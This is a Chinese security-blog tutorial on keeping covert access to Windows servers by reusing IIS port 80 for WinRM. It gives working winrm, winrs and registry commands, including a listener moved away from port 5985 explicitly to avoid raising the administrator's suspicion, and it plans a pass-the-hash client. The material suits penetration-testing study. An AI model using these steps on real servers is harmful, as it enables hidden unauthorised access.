应急响应系列之Windows,Linux权限维持——后门篇(11-3)含三大渗透测试框架及Github项目地址以及2面题
【摘要】 应急响应系列之Windows,Linux权限维持——后门篇(剧终——完结撒花)[含三大渗透测试框架及Github项目地址和24护网行动各厂商面试精题]等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
11.16 一条命令实现端口复用后门【综合难度较大,取材于孟极实验室】
- 说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后门方法。
- 对于不想看原理,只关心如何使用的宝子们可以直接跳到“0x02. 后门配置”。
11.16.1 基本原理介绍
- 该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。
WinRM服务
- WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。
- WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。
HTTP.sys驱动
- HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。
- 所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。
- 使用如下命令可以查看所有在HTTP.sys上注册过的url前缀。
-
netsh http show servicestate
- 实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
- 因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。
11.16.2 后门配置
开启WinRM服务
- 在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口,可以省略这一步。
- 对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是
winrm quickconfig -q
- 这条命令运行后会自动添加防火墙例外规则,放行5985端口。
新增80端口Listener
- 对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener
- 同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
- 使用下面这条命令即可新增一个80端口的listener
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
- 对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。
- 这种情况下,老的5985端口listener还保留着
修改WinRM端口
- 在Windows 2008上面如果原本没有开启WinRM服务,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。
- 通过下面这条命令即可修改端口为80
-
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
- 这种情况下,管理员查看端口也看不到5985开放,只开放80端口。
- 经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。
11.16.3 后门连接和使用
本地配置
- 本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。
winrm quickconfig -q //快速配置 WinRM 服务,使其在默认设置下启用,包括启动服务、设置所需的防火墙规则等。-q 参数表示在执行过程中不显示任何提示。 winrm set winrm/config/Client @{TrustedHosts="*"} //将 WinRM 客户端的 TrustedHosts 设置为 "*",这允许客户端与任何主机进行远程管理连接,而不限制主机名或 IP 地址。
连接使用
- 使用winrs命令即可连接远程WinRM服务执行命令,并返回结果
winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami //通过 WinRM 使用指定的 URL (http://www.baidu.com) 连接到远程主机,使用用户名 (administrator) 和密码 (Passw0rd) 进行身份验证,并在远程系统上执行 whoami 命令,该命令返回当前用户的身份信息。
UAC问题 USER ACCESS CONTROL
- WinRM服务也是受UAC[用于限制应用程序和用户操作对系统的影响]影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。
- 要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f //在注册表路径 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 下添加或修改名为 LocalAccountTokenFilterPolicy 的 DWORD 类型的值,将其数据设置为 1。/f 参数表示强制执行操作,不显示确认提示。 :'reg add:在注册表中添加或修改项。 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System:注册表路径。 /v LocalAccountTokenFilterPolicy:要添加或修改的注册表值名称。 /t REG_DWORD:指定值的数据类型为 DWORD(32 位整型)。 /d 1:将 LocalAccountTokenFilterPolicy 的数据设置为 1,表示允许本地管理员组中的所有用户远程登录。 /f:强制执行操作,不提示确认。'
- 修改后,普通管理员登录后也是高权限。
Hash登录
- 系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。
- 因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)